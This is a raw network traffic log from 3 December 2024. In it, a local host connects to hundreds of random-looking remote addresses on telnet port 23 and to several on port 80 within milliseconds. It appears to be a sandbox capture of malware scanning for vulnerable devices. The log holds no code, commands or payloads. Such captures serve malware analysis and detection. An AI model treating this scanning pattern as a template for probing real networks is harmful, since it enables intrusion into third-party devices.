Dec 3, 2024 21:47:21.425273895 CET	80	54840	189.42.102.231	192.168.2.13
Dec 3, 2024 21:47:21.425501108 CET	46766	80	192.168.2.13	90.16.15.253
Dec 3, 2024 21:47:21.425731897 CET	80	55042	189.42.102.231	192.168.2.13
Dec 3, 2024 21:47:21.425780058 CET	55042	80	192.168.2.13	189.42.102.231
Dec 3, 2024 21:47:21.425807953 CET	55042	80	192.168.2.13	189.42.102.231
Dec 3, 2024 21:47:21.426259041 CET	80	52532	98.139.210.210	192.168.2.13
Dec 3, 2024 21:47:21.426429033 CET	80	52734	98.139.210.210	192.168.2.13
Dec 3, 2024 21:47:21.426476002 CET	52734	80	192.168.2.13	98.139.210.210
Dec 3, 2024 21:47:21.426526070 CET	52734	80	192.168.2.13	98.139.210.210
Dec 3, 2024 21:47:21.426878929 CET	80	59820	1.37.160.118	192.168.2.13
Dec 3, 2024 21:47:21.427064896 CET	80	60022	1.37.160.118	192.168.2.13
Dec 3, 2024 21:47:21.427104950 CET	60022	80	192.168.2.13	1.37.160.118
Dec 3, 2024 21:47:21.427136898 CET	60022	80	192.168.2.13	1.37.160.118
Dec 3, 2024 21:47:21.427495956 CET	80	45144	71.32.188.209	192.168.2.13
Dec 3, 2024 21:47:21.439013004 CET	80	42306	145.167.157.176	192.168.2.13
Dec 3, 2024 21:47:21.439039946 CET	80	42466	145.167.157.176	192.168.2.13
Dec 3, 2024 21:47:21.439096928 CET	42466	80	192.168.2.13	145.167.157.176
Dec 3, 2024 21:47:21.439131021 CET	42466	80	192.168.2.13	145.167.157.176
Dec 3, 2024 21:47:21.458432913 CET	80	33942	216.31.9.173	192.168.2.13
Dec 3, 2024 21:47:21.458697081 CET	80	34094	216.31.9.173	192.168.2.13
Dec 3, 2024 21:47:21.458873034 CET	34094	80	192.168.2.13	216.31.9.173
Dec 3, 2024 21:47:21.458873034 CET	34094	80	192.168.2.13	216.31.9.173
Dec 3, 2024 21:47:21.461256027 CET	80	33110	195.237.101.170	192.168.2.13
Dec 3, 2024 21:47:21.461416006 CET	80	33256	195.237.101.170	192.168.2.13
Dec 3, 2024 21:47:21.461473942 CET	33256	80	192.168.2.13	195.237.101.170
Dec 3, 2024 21:47:21.461507082 CET	33256	80	192.168.2.13	195.237.101.170
Dec 3, 2024 21:47:21.464101076 CET	80	49302	76.92.114.113	192.168.2.13
Dec 3, 2024 21:47:21.466983080 CET	80	45144	71.32.188.209	192.168.2.13
Dec 3, 2024 21:47:21.467001915 CET	80	59820	1.37.160.118	192.168.2.13
Dec 3, 2024 21:47:21.467019081 CET	80	52532	98.139.210.210	192.168.2.13
Dec 3, 2024 21:47:21.467031002 CET	80	54840	189.42.102.231	192.168.2.13
Dec 3, 2024 21:47:21.467046022 CET	80	46564	90.16.15.253	192.168.2.13
Dec 3, 2024 21:47:21.468272924 CET	80	49630	178.191.122.247	192.168.2.13
Dec 3, 2024 21:47:21.473442078 CET	80	49752	178.191.122.247	192.168.2.13
Dec 3, 2024 21:47:21.473507881 CET	49752	80	192.168.2.13	178.191.122.247
Dec 3, 2024 21:47:21.473548889 CET	49752	80	192.168.2.13	178.191.122.247
Dec 3, 2024 21:47:21.479360104 CET	80	42306	145.167.157.176	192.168.2.13
Dec 3, 2024 21:47:21.479501963 CET	80	36698	20.48.106.239	192.168.2.13
Dec 3, 2024 21:47:21.481101036 CET	80	36784	20.48.106.239	192.168.2.13
Dec 3, 2024 21:47:21.481153011 CET	36784	80	192.168.2.13	20.48.106.239
Dec 3, 2024 21:47:21.481201887 CET	36784	80	192.168.2.13	20.48.106.239
Dec 3, 2024 21:47:21.487643003 CET	80	53646	39.25.202.96	192.168.2.13
Dec 3, 2024 21:47:21.487788916 CET	80	53708	39.25.202.96	192.168.2.13
Dec 3, 2024 21:47:21.487869978 CET	53708	80	192.168.2.13	39.25.202.96
Dec 3, 2024 21:47:21.487909079 CET	53708	80	192.168.2.13	39.25.202.96
Dec 3, 2024 21:47:21.499986887 CET	80	33942	216.31.9.173	192.168.2.13
Dec 3, 2024 21:47:21.508480072 CET	80	33110	195.237.101.170	192.168.2.13
Dec 3, 2024 21:47:21.510515928 CET	80	49630	178.191.122.247	192.168.2.13
Dec 3, 2024 21:47:21.522593975 CET	80	36698	20.48.106.239	192.168.2.13
Dec 3, 2024 21:47:21.526525021 CET	80	53646	39.25.202.96	192.168.2.13
Dec 3, 2024 21:47:21.544785976 CET	80	49504	76.92.114.113	192.168.2.13
Dec 3, 2024 21:47:21.545017958 CET	80	49960	49.116.20.105	192.168.2.13
Dec 3, 2024 21:47:21.545142889 CET	49504	80	192.168.2.13	76.92.114.113
Dec 3, 2024 21:47:21.545154095 CET	49960	80	192.168.2.13	49.116.20.105
Dec 3, 2024 21:47:21.545468092 CET	49960	80	192.168.2.13	49.116.20.105
Dec 3, 2024 21:47:21.545473099 CET	80	46766	90.16.15.253	192.168.2.13
Dec 3, 2024 21:47:21.545485973 CET	49960	80	192.168.2.13	49.116.20.105
Dec 3, 2024 21:47:21.545536995 CET	46766	80	192.168.2.13	90.16.15.253
Dec 3, 2024 21:47:21.545998096 CET	80	55042	189.42.102.231	192.168.2.13
Dec 3, 2024 21:47:21.546042919 CET	55042	80	192.168.2.13	189.42.102.231
Dec 3, 2024 21:47:21.546083927 CET	49962	80	192.168.2.13	49.116.20.105
Dec 3, 2024 21:47:21.546940088 CET	80	52734	98.139.210.210	192.168.2.13
Dec 3, 2024 21:47:21.547015905 CET	52734	80	192.168.2.13	98.139.210.210
Dec 3, 2024 21:47:21.547274113 CET	80	60022	1.37.160.118	192.168.2.13
Dec 3, 2024 21:47:21.547322035 CET	60022	80	192.168.2.13	1.37.160.118
Dec 3, 2024 21:47:21.559526920 CET	80	42466	145.167.157.176	192.168.2.13
Dec 3, 2024 21:47:21.559596062 CET	42466	80	192.168.2.13	145.167.157.176
Dec 3, 2024 21:47:21.579205036 CET	80	34094	216.31.9.173	192.168.2.13
Dec 3, 2024 21:47:21.579462051 CET	34094	80	192.168.2.13	216.31.9.173
Dec 3, 2024 21:47:21.581654072 CET	80	33256	195.237.101.170	192.168.2.13
Dec 3, 2024 21:47:21.581729889 CET	33256	80	192.168.2.13	195.237.101.170
Dec 3, 2024 21:47:21.593755007 CET	80	49752	178.191.122.247	192.168.2.13
Dec 3, 2024 21:47:21.593908072 CET	49752	80	192.168.2.13	178.191.122.247
Dec 3, 2024 21:47:21.601463079 CET	80	36784	20.48.106.239	192.168.2.13
Dec 3, 2024 21:47:21.601516962 CET	36784	80	192.168.2.13	20.48.106.239
Dec 3, 2024 21:47:21.608206034 CET	80	53708	39.25.202.96	192.168.2.13
Dec 3, 2024 21:47:21.608292103 CET	53708	80	192.168.2.13	39.25.202.96
Dec 3, 2024 21:47:21.665479898 CET	80	49960	49.116.20.105	192.168.2.13
Dec 3, 2024 21:47:21.665976048 CET	80	49962	49.116.20.105	192.168.2.13
Dec 3, 2024 21:47:21.666101933 CET	49962	80	192.168.2.13	49.116.20.105
Dec 3, 2024 21:47:21.666223049 CET	49962	80	192.168.2.13	49.116.20.105
Dec 3, 2024 21:47:21.706537008 CET	80	49960	49.116.20.105	192.168.2.13
Dec 3, 2024 21:47:21.786804914 CET	80	49962	49.116.20.105	192.168.2.13
Dec 3, 2024 21:47:21.787077904 CET	49962	80	192.168.2.13	49.116.20.105
Dec 3, 2024 21:47:22.068682909 CET	32908	80	192.168.2.13	84.115.17.222
Dec 3, 2024 21:47:22.068695068 CET	38200	80	192.168.2.13	87.2.29.201
Dec 3, 2024 21:47:22.068701029 CET	43924	80	192.168.2.13	165.66.103.50
Dec 3, 2024 21:47:22.068701982 CET	58998	80	192.168.2.13	206.17.226.29
Dec 3, 2024 21:47:22.068701982 CET	46660	80	192.168.2.13	167.129.209.249
Dec 3, 2024 21:47:22.068703890 CET	51636	80	192.168.2.13	151.199.164.101
Dec 3, 2024 21:47:22.068725109 CET	50012	80	192.168.2.13	14.244.19.249
Dec 3, 2024 21:47:22.068727970 CET	40994	80	192.168.2.13	187.198.156.166
Dec 3, 2024 21:47:22.068736076 CET	49640	80	192.168.2.13	217.9.92.75
Dec 3, 2024 21:47:22.068741083 CET	36782	80	192.168.2.13	49.175.230.209
Dec 3, 2024 21:47:22.068753004 CET	53878	80	192.168.2.13	89.9.140.26
Dec 3, 2024 21:47:22.068753004 CET	49652	80	192.168.2.13	87.46.134.230
Dec 3, 2024 21:47:22.068756104 CET	57134	80	192.168.2.13	135.22.204.152
Dec 3, 2024 21:47:22.068756104 CET	52804	80	192.168.2.13	208.91.209.54
Dec 3, 2024 21:47:22.068766117 CET	36910	80	192.168.2.13	116.147.27.49
Dec 3, 2024 21:47:22.068767071 CET	56618	80	192.168.2.13	128.218.148.72
Dec 3, 2024 21:47:22.068766117 CET	33126	80	192.168.2.13	39.103.0.196
Dec 3, 2024 21:47:22.068767071 CET	51386	80	192.168.2.13	219.115.34.124
Dec 3, 2024 21:47:22.068766117 CET	37870	80	192.168.2.13	94.2.223.202
Dec 3, 2024 21:47:22.068767071 CET	55974	80	192.168.2.13	101.1.73.203
Dec 3, 2024 21:47:22.076571941 CET	40955	23	192.168.2.13	122.63.57.60
Dec 3, 2024 21:47:22.076574087 CET	40955	23	192.168.2.13	71.224.250.219
Dec 3, 2024 21:47:22.076576948 CET	40955	23	192.168.2.13	148.8.165.54
Dec 3, 2024 21:47:22.076579094 CET	40955	23	192.168.2.13	156.161.176.194
Dec 3, 2024 21:47:22.076601028 CET	40955	23	192.168.2.13	90.142.218.151
Dec 3, 2024 21:47:22.076608896 CET	40955	23	192.168.2.13	123.81.77.115
Dec 3, 2024 21:47:22.076631069 CET	40955	23	192.168.2.13	203.85.193.185
Dec 3, 2024 21:47:22.076632023 CET	40955	23	192.168.2.13	108.18.237.95
Dec 3, 2024 21:47:22.076632023 CET	40955	23	192.168.2.13	17.144.221.90
Dec 3, 2024 21:47:22.076651096 CET	40955	23	192.168.2.13	13.89.180.59
Dec 3, 2024 21:47:22.076651096 CET	40955	23	192.168.2.13	98.183.85.28
Dec 3, 2024 21:47:22.076667070 CET	40955	23	192.168.2.13	157.45.117.202
Dec 3, 2024 21:47:22.076679945 CET	40955	23	192.168.2.13	77.174.65.67
Dec 3, 2024 21:47:22.076683998 CET	40955	23	192.168.2.13	190.114.39.15
Dec 3, 2024 21:47:22.076692104 CET	40955	23	192.168.2.13	113.7.157.248
Dec 3, 2024 21:47:22.076700926 CET	40955	23	192.168.2.13	52.2.153.85
Dec 3, 2024 21:47:22.076704979 CET	40955	23	192.168.2.13	37.228.217.64
Dec 3, 2024 21:47:22.076725006 CET	40955	23	192.168.2.13	79.176.234.5
Dec 3, 2024 21:47:22.076726913 CET	40955	23	192.168.2.13	129.16.212.225
Dec 3, 2024 21:47:22.076731920 CET	40955	23	192.168.2.13	144.144.185.255
Dec 3, 2024 21:47:22.076742887 CET	40955	23	192.168.2.13	220.211.251.49
Dec 3, 2024 21:47:22.076746941 CET	40955	23	192.168.2.13	106.232.232.247
Dec 3, 2024 21:47:22.076776981 CET	40955	23	192.168.2.13	14.100.79.120
Dec 3, 2024 21:47:22.076791048 CET	40955	23	192.168.2.13	155.63.247.176
Dec 3, 2024 21:47:22.076791048 CET	40955	23	192.168.2.13	164.149.180.219
Dec 3, 2024 21:47:22.076792002 CET	40955	23	192.168.2.13	114.31.97.188
Dec 3, 2024 21:47:22.076792002 CET	40955	23	192.168.2.13	96.130.239.208
Dec 3, 2024 21:47:22.076801062 CET	40955	23	192.168.2.13	202.75.144.168
Dec 3, 2024 21:47:22.076802969 CET	40955	23	192.168.2.13	158.197.67.124
Dec 3, 2024 21:47:22.076805115 CET	40955	23	192.168.2.13	50.186.0.162
Dec 3, 2024 21:47:22.076805115 CET	40955	23	192.168.2.13	31.246.182.137
Dec 3, 2024 21:47:22.076809883 CET	40955	23	192.168.2.13	198.67.245.87
Dec 3, 2024 21:47:22.076813936 CET	40955	23	192.168.2.13	80.57.59.152
Dec 3, 2024 21:47:22.076822042 CET	40955	23	192.168.2.13	159.211.57.212
Dec 3, 2024 21:47:22.076821089 CET	40955	23	192.168.2.13	141.206.171.204
Dec 3, 2024 21:47:22.076833963 CET	40955	23	192.168.2.13	140.69.3.198
Dec 3, 2024 21:47:22.076834917 CET	40955	23	192.168.2.13	186.216.32.182
Dec 3, 2024 21:47:22.076849937 CET	40955	23	192.168.2.13	102.203.210.143
Dec 3, 2024 21:47:22.076853991 CET	40955	23	192.168.2.13	117.129.227.105
Dec 3, 2024 21:47:22.076865911 CET	40955	23	192.168.2.13	99.155.216.194
Dec 3, 2024 21:47:22.076877117 CET	40955	23	192.168.2.13	90.34.241.221
Dec 3, 2024 21:47:22.076894045 CET	40955	23	192.168.2.13	20.95.83.168
Dec 3, 2024 21:47:22.076894999 CET	40955	23	192.168.2.13	34.88.48.121
Dec 3, 2024 21:47:22.076894999 CET	40955	23	192.168.2.13	60.220.55.189
Dec 3, 2024 21:47:22.076908112 CET	40955	23	192.168.2.13	107.112.64.92
Dec 3, 2024 21:47:22.076913118 CET	40955	23	192.168.2.13	137.87.32.92
Dec 3, 2024 21:47:22.076925993 CET	40955	23	192.168.2.13	149.154.232.242
Dec 3, 2024 21:47:22.076940060 CET	40955	23	192.168.2.13	44.79.158.94
Dec 3, 2024 21:47:22.076956034 CET	40955	23	192.168.2.13	156.179.77.230
Dec 3, 2024 21:47:22.076961994 CET	40955	23	192.168.2.13	177.26.217.172
Dec 3, 2024 21:47:22.076968908 CET	40955	23	192.168.2.13	80.68.144.74
Dec 3, 2024 21:47:22.076978922 CET	40955	23	192.168.2.13	211.29.105.184
Dec 3, 2024 21:47:22.076984882 CET	40955	23	192.168.2.13	101.110.169.55
Dec 3, 2024 21:47:22.076997042 CET	40955	23	192.168.2.13	192.4.226.230
Dec 3, 2024 21:47:22.077013016 CET	40955	23	192.168.2.13	57.27.130.160
Dec 3, 2024 21:47:22.077017069 CET	40955	23	192.168.2.13	69.175.52.154
Dec 3, 2024 21:47:22.077023029 CET	40955	23	192.168.2.13	114.151.110.72
Dec 3, 2024 21:47:22.077030897 CET	40955	23	192.168.2.13	183.146.110.117
Dec 3, 2024 21:47:22.077039957 CET	40955	23	192.168.2.13	34.94.44.154
Dec 3, 2024 21:47:22.077044964 CET	40955	23	192.168.2.13	108.245.232.43
Dec 3, 2024 21:47:22.077061892 CET	40955	23	192.168.2.13	62.150.70.89
Dec 3, 2024 21:47:22.077064991 CET	40955	23	192.168.2.13	185.241.205.142
Dec 3, 2024 21:47:22.077066898 CET	40955	23	192.168.2.13	84.126.6.90
Dec 3, 2024 21:47:22.077083111 CET	40955	23	192.168.2.13	106.248.110.72
Dec 3, 2024 21:47:22.077089071 CET	40955	23	192.168.2.13	14.10.240.241
Dec 3, 2024 21:47:22.077095985 CET	40955	23	192.168.2.13	164.112.222.27
Dec 3, 2024 21:47:22.077102900 CET	40955	23	192.168.2.13	2.62.15.155
Dec 3, 2024 21:47:22.077127934 CET	40955	23	192.168.2.13	34.149.222.183
Dec 3, 2024 21:47:22.077128887 CET	40955	23	192.168.2.13	219.119.50.41
Dec 3, 2024 21:47:22.077142954 CET	40955	23	192.168.2.13	194.56.237.105
Dec 3, 2024 21:47:22.077143908 CET	40955	23	192.168.2.13	60.226.50.231
Dec 3, 2024 21:47:22.077153921 CET	40955	23	192.168.2.13	105.160.22.29
Dec 3, 2024 21:47:22.077161074 CET	40955	23	192.168.2.13	174.105.26.184
Dec 3, 2024 21:47:22.077166080 CET	40955	23	192.168.2.13	158.89.123.120
Dec 3, 2024 21:47:22.077179909 CET	40955	23	192.168.2.13	90.24.14.35
Dec 3, 2024 21:47:22.077193022 CET	40955	23	192.168.2.13	12.139.1.36
Dec 3, 2024 21:47:22.077193975 CET	40955	23	192.168.2.13	48.94.137.173
Dec 3, 2024 21:47:22.077195883 CET	40955	23	192.168.2.13	88.66.224.46
Dec 3, 2024 21:47:22.077204943 CET	40955	23	192.168.2.13	89.156.135.133
Dec 3, 2024 21:47:22.077220917 CET	40955	23	192.168.2.13	63.74.206.131
Dec 3, 2024 21:47:22.077229023 CET	40955	23	192.168.2.13	78.30.192.152
Dec 3, 2024 21:47:22.077236891 CET	40955	23	192.168.2.13	116.1.3.37
Dec 3, 2024 21:47:22.077248096 CET	40955	23	192.168.2.13	152.133.100.165
Dec 3, 2024 21:47:22.077258110 CET	40955	23	192.168.2.13	206.124.78.17
Dec 3, 2024 21:47:22.077264071 CET	40955	23	192.168.2.13	82.49.247.129
Dec 3, 2024 21:47:22.077276945 CET	40955	23	192.168.2.13	142.100.9.72
Dec 3, 2024 21:47:22.077280045 CET	40955	23	192.168.2.13	34.217.61.201
Dec 3, 2024 21:47:22.077284098 CET	40955	23	192.168.2.13	185.238.40.51
Dec 3, 2024 21:47:22.077284098 CET	40955	23	192.168.2.13	140.154.59.174
Dec 3, 2024 21:47:22.077296019 CET	40955	23	192.168.2.13	81.192.7.242
Dec 3, 2024 21:47:22.077297926 CET	40955	23	192.168.2.13	69.19.76.100
Dec 3, 2024 21:47:22.077308893 CET	40955	23	192.168.2.13	153.213.123.47
Dec 3, 2024 21:47:22.077311039 CET	40955	23	192.168.2.13	96.151.44.99
Dec 3, 2024 21:47:22.077320099 CET	40955	23	192.168.2.13	195.190.51.146
Dec 3, 2024 21:47:22.077331066 CET	40955	23	192.168.2.13	91.12.141.226
Dec 3, 2024 21:47:22.077332973 CET	40955	23	192.168.2.13	72.242.91.37
Dec 3, 2024 21:47:22.077349901 CET	40955	23	192.168.2.13	18.61.174.162
Dec 3, 2024 21:47:22.077349901 CET	40955	23	192.168.2.13	41.12.9.254
Dec 3, 2024 21:47:22.077368021 CET	40955	23	192.168.2.13	37.29.59.93
Dec 3, 2024 21:47:22.077369928 CET	40955	23	192.168.2.13	103.112.223.197
Dec 3, 2024 21:47:22.077383041 CET	40955	23	192.168.2.13	149.170.4.168
Dec 3, 2024 21:47:22.077383995 CET	40955	23	192.168.2.13	58.199.181.176
Dec 3, 2024 21:47:22.077403069 CET	40955	23	192.168.2.13	142.113.76.249
Dec 3, 2024 21:47:22.077404976 CET	40955	23	192.168.2.13	1.143.95.158
Dec 3, 2024 21:47:22.077404976 CET	40955	23	192.168.2.13	179.243.202.171
Dec 3, 2024 21:47:22.077404976 CET	40955	23	192.168.2.13	93.106.236.33
Dec 3, 2024 21:47:22.077414036 CET	40955	23	192.168.2.13	134.245.43.110
Dec 3, 2024 21:47:22.077424049 CET	40955	23	192.168.2.13	170.7.138.34
Dec 3, 2024 21:47:22.077426910 CET	40955	23	192.168.2.13	213.164.240.135
Dec 3, 2024 21:47:22.077444077 CET	40955	23	192.168.2.13	159.124.41.36
Dec 3, 2024 21:47:22.077449083 CET	40955	23	192.168.2.13	48.114.184.167
Dec 3, 2024 21:47:22.077462912 CET	40955	23	192.168.2.13	183.10.113.250
Dec 3, 2024 21:47:22.077469110 CET	40955	23	192.168.2.13	164.219.114.94
Dec 3, 2024 21:47:22.077480078 CET	40955	23	192.168.2.13	188.246.112.35
Dec 3, 2024 21:47:22.077497005 CET	40955	23	192.168.2.13	149.179.211.41
Dec 3, 2024 21:47:22.077497959 CET	40955	23	192.168.2.13	98.156.162.239
Dec 3, 2024 21:47:22.077508926 CET	40955	23	192.168.2.13	206.176.116.29
Dec 3, 2024 21:47:22.077513933 CET	40955	23	192.168.2.13	98.71.105.183
Dec 3, 2024 21:47:22.077528000 CET	40955	23	192.168.2.13	190.18.241.217
Dec 3, 2024 21:47:22.077533007 CET	40955	23	192.168.2.13	173.245.69.244
Dec 3, 2024 21:47:22.077542067 CET	40955	23	192.168.2.13	110.175.23.29
Dec 3, 2024 21:47:22.077552080 CET	40955	23	192.168.2.13	192.203.103.197
Dec 3, 2024 21:47:22.077558994 CET	40955	23	192.168.2.13	74.69.35.86
Dec 3, 2024 21:47:22.077564955 CET	40955	23	192.168.2.13	129.156.240.222
Dec 3, 2024 21:47:22.077570915 CET	40955	23	192.168.2.13	89.162.38.172
Dec 3, 2024 21:47:22.077584028 CET	40955	23	192.168.2.13	176.93.189.64
Dec 3, 2024 21:47:22.077585936 CET	40955	23	192.168.2.13	202.157.158.36
Dec 3, 2024 21:47:22.077596903 CET	40955	23	192.168.2.13	202.2.228.10
Dec 3, 2024 21:47:22.077613115 CET	40955	23	192.168.2.13	200.6.246.249
Dec 3, 2024 21:47:22.077614069 CET	40955	23	192.168.2.13	221.212.185.135
Dec 3, 2024 21:47:22.077617884 CET	40955	23	192.168.2.13	167.118.13.82
Dec 3, 2024 21:47:22.077627897 CET	40955	23	192.168.2.13	95.6.147.189
Dec 3, 2024 21:47:22.077632904 CET	40955	23	192.168.2.13	80.210.48.184
Dec 3, 2024 21:47:22.077641964 CET	40955	23	192.168.2.13	100.129.117.64
Dec 3, 2024 21:47:22.077651978 CET	40955	23	192.168.2.13	166.41.244.118
Dec 3, 2024 21:47:22.077665091 CET	40955	23	192.168.2.13	99.131.239.113
Dec 3, 2024 21:47:22.077671051 CET	40955	23	192.168.2.13	49.87.98.168
Dec 3, 2024 21:47:22.077682018 CET	40955	23	192.168.2.13	41.52.233.210
Dec 3, 2024 21:47:22.077692986 CET	40955	23	192.168.2.13	50.124.95.112
Dec 3, 2024 21:47:22.077699900 CET	40955	23	192.168.2.13	37.138.192.182
Dec 3, 2024 21:47:22.077716112 CET	40955	23	192.168.2.13	158.178.131.180
Dec 3, 2024 21:47:22.077719927 CET	40955	23	192.168.2.13	109.13.2.209
Dec 3, 2024 21:47:22.077730894 CET	40955	23	192.168.2.13	8.139.19.142
Dec 3, 2024 21:47:22.077738047 CET	40955	23	192.168.2.13	82.227.144.4
Dec 3, 2024 21:47:22.077748060 CET	40955	23	192.168.2.13	27.110.12.151
Dec 3, 2024 21:47:22.077764988 CET	40955	23	192.168.2.13	35.45.137.73
Dec 3, 2024 21:47:22.077765942 CET	40955	23	192.168.2.13	132.55.160.61
Dec 3, 2024 21:47:22.077778101 CET	40955	23	192.168.2.13	52.31.213.139
Dec 3, 2024 21:47:22.077785015 CET	40955	23	192.168.2.13	99.99.236.40
Dec 3, 2024 21:47:22.077802896 CET	40955	23	192.168.2.13	145.47.117.141
Dec 3, 2024 21:47:22.077809095 CET	40955	23	192.168.2.13	99.176.64.131
Dec 3, 2024 21:47:22.077817917 CET	40955	23	192.168.2.13	79.64.153.189
Dec 3, 2024 21:47:22.077822924 CET	40955	23	192.168.2.13	83.232.15.176
Dec 3, 2024 21:47:22.077835083 CET	40955	23	192.168.2.13	34.151.131.249
Dec 3, 2024 21:47:22.077842951 CET	40955	23	192.168.2.13	51.206.104.70
Dec 3, 2024 21:47:22.077857971 CET	40955	23	192.168.2.13	81.154.70.152
Dec 3, 2024 21:47:22.077867031 CET	40955	23	192.168.2.13	161.57.207.128
Dec 3, 2024 21:47:22.077888966 CET	40955	23	192.168.2.13	170.253.172.109
Dec 3, 2024 21:47:22.077891111 CET	40955	23	192.168.2.13	168.244.12.65
Dec 3, 2024 21:47:22.077892065 CET	40955	23	192.168.2.13	36.239.36.197
Dec 3, 2024 21:47:22.077900887 CET	40955	23	192.168.2.13	106.1.33.33
Dec 3, 2024 21:47:22.077908993 CET	40955	23	192.168.2.13	115.15.41.151
Dec 3, 2024 21:47:22.077914953 CET	40955	23	192.168.2.13	95.168.220.137
Dec 3, 2024 21:47:22.077929020 CET	40955	23	192.168.2.13	217.104.133.130
Dec 3, 2024 21:47:22.077934980 CET	40955	23	192.168.2.13	201.120.57.126
Dec 3, 2024 21:47:22.077941895 CET	40955	23	192.168.2.13	221.56.13.246
Dec 3, 2024 21:47:22.077949047 CET	40955	23	192.168.2.13	86.184.215.16
Dec 3, 2024 21:47:22.077970028 CET	40955	23	192.168.2.13	179.90.3.234
Dec 3, 2024 21:47:22.077971935 CET	40955	23	192.168.2.13	171.72.112.9
Dec 3, 2024 21:47:22.077980042 CET	40955	23	192.168.2.13	221.133.182.54
Dec 3, 2024 21:47:22.077992916 CET	40955	23	192.168.2.13	141.247.180.25
Dec 3, 2024 21:47:22.077997923 CET	40955	23	192.168.2.13	105.218.124.208
Dec 3, 2024 21:47:22.078011990 CET	40955	23	192.168.2.13	143.183.33.95
Dec 3, 2024 21:47:22.078012943 CET	40955	23	192.168.2.13	79.104.245.130
Dec 3, 2024 21:47:22.078018904 CET	40955	23	192.168.2.13	81.232.179.94
Dec 3, 2024 21:47:22.078026056 CET	40955	23	192.168.2.13	89.124.165.87
Dec 3, 2024 21:47:22.078033924 CET	40955	23	192.168.2.13	130.204.178.158
Dec 3, 2024 21:47:22.078044891 CET	40955	23	192.168.2.13	145.179.159.255
Dec 3, 2024 21:47:22.078059912 CET	40955	23	192.168.2.13	109.206.60.186
Dec 3, 2024 21:47:22.078071117 CET	40955	23	192.168.2.13	123.240.126.225
Dec 3, 2024 21:47:22.078073025 CET	40955	23	192.168.2.13	91.0.98.63
Dec 3, 2024 21:47:22.078083038 CET	40955	23	192.168.2.13	87.60.28.206
Dec 3, 2024 21:47:22.078092098 CET	40955	23	192.168.2.13	203.64.115.92
Dec 3, 2024 21:47:22.078109026 CET	40955	23	192.168.2.13	219.219.194.128
Dec 3, 2024 21:47:22.078114986 CET	40955	23	192.168.2.13	178.161.47.40
Dec 3, 2024 21:47:22.078124046 CET	40955	23	192.168.2.13	1.121.99.116
Dec 3, 2024 21:47:22.078128099 CET	40955	23	192.168.2.13	197.20.158.234
Dec 3, 2024 21:47:22.078135014 CET	40955	23	192.168.2.13	89.188.206.44
Dec 3, 2024 21:47:22.078155994 CET	40955	23	192.168.2.13	102.14.106.136
Dec 3, 2024 21:47:22.078156948 CET	40955	23	192.168.2.13	32.2.119.193
Dec 3, 2024 21:47:22.078165054 CET	40955	23	192.168.2.13	93.11.40.113
Dec 3, 2024 21:47:22.078174114 CET	40955	23	192.168.2.13	89.193.170.234
Dec 3, 2024 21:47:22.078176022 CET	40955	23	192.168.2.13	136.27.111.243
Dec 3, 2024 21:47:22.078187943 CET	40955	23	192.168.2.13	53.138.177.12
Dec 3, 2024 21:47:22.078193903 CET	40955	23	192.168.2.13	167.143.126.240
Dec 3, 2024 21:47:22.078205109 CET	40955	23	192.168.2.13	187.171.218.128
Dec 3, 2024 21:47:22.078219891 CET	40955	23	192.168.2.13	143.250.153.217
Dec 3, 2024 21:47:22.078219891 CET	40955	23	192.168.2.13	41.82.111.95
Dec 3, 2024 21:47:22.078229904 CET	40955	23	192.168.2.13	222.154.44.102
Dec 3, 2024 21:47:22.078236103 CET	40955	23	192.168.2.13	160.245.144.164
Dec 3, 2024 21:47:22.078248978 CET	40955	23	192.168.2.13	54.102.11.108
Dec 3, 2024 21:47:22.078258991 CET	40955	23	192.168.2.13	59.34.138.150
Dec 3, 2024 21:47:22.078263998 CET	40955	23	192.168.2.13	167.226.95.80
Dec 3, 2024 21:47:22.078279018 CET	40955	23	192.168.2.13	129.210.211.114
Dec 3, 2024 21:47:22.078280926 CET	40955	23	192.168.2.13	138.189.132.99
Dec 3, 2024 21:47:22.078293085 CET	40955	23	192.168.2.13	212.144.169.21
Dec 3, 2024 21:47:22.078305960 CET	40955	23	192.168.2.13	142.55.187.60
Dec 3, 2024 21:47:22.078315973 CET	40955	23	192.168.2.13	128.200.179.140
Dec 3, 2024 21:47:22.078320980 CET	40955	23	192.168.2.13	98.143.254.190
Dec 3, 2024 21:47:22.078336954 CET	40955	23	192.168.2.13	176.154.3.160
Dec 3, 2024 21:47:22.078340054 CET	40955	23	192.168.2.13	177.41.75.87
Dec 3, 2024 21:47:22.078351021 CET	40955	23	192.168.2.13	63.25.98.155
Dec 3, 2024 21:47:22.078355074 CET	40955	23	192.168.2.13	105.221.162.169
Dec 3, 2024 21:47:22.078363895 CET	40955	23	192.168.2.13	144.61.76.226
Dec 3, 2024 21:47:22.078371048 CET	40955	23	192.168.2.13	117.123.188.8
Dec 3, 2024 21:47:22.078381062 CET	40955	23	192.168.2.13	60.98.133.136
Dec 3, 2024 21:47:22.078387976 CET	40955	23	192.168.2.13	194.222.214.19
Dec 3, 2024 21:47:22.078394890 CET	40955	23	192.168.2.13	59.17.18.157
Dec 3, 2024 21:47:22.078406096 CET	40955	23	192.168.2.13	197.241.63.35
Dec 3, 2024 21:47:22.078406096 CET	40955	23	192.168.2.13	184.142.152.56
Dec 3, 2024 21:47:22.078417063 CET	40955	23	192.168.2.13	49.18.221.169
Dec 3, 2024 21:47:22.078424931 CET	40955	23	192.168.2.13	156.210.103.103
Dec 3, 2024 21:47:22.078427076 CET	40955	23	192.168.2.13	43.58.44.166
Dec 3, 2024 21:47:22.078442097 CET	40955	23	192.168.2.13	146.10.177.225
Dec 3, 2024 21:47:22.078450918 CET	40955	23	192.168.2.13	78.151.128.235
Dec 3, 2024 21:47:22.078468084 CET	40955	23	192.168.2.13	190.15.222.248
Dec 3, 2024 21:47:22.078471899 CET	40955	23	192.168.2.13	117.194.34.242
Dec 3, 2024 21:47:22.078474045 CET	40955	23	192.168.2.13	205.199.198.106
Dec 3, 2024 21:47:22.078481913 CET	40955	23	192.168.2.13	32.217.127.37
Dec 3, 2024 21:47:22.078504086 CET	40955	23	192.168.2.13	45.251.123.18
Dec 3, 2024 21:47:22.078507900 CET	40955	23	192.168.2.13	39.111.74.8
Dec 3, 2024 21:47:22.078509092 CET	40955	23	192.168.2.13	184.62.238.162
Dec 3, 2024 21:47:22.078509092 CET	40955	23	192.168.2.13	185.219.244.186
Dec 3, 2024 21:47:22.078521013 CET	40955	23	192.168.2.13	174.241.79.243
Dec 3, 2024 21:47:22.078530073 CET	40955	23	192.168.2.13	182.38.110.71
Dec 3, 2024 21:47:22.078543901 CET	40955	23	192.168.2.13	178.182.56.211
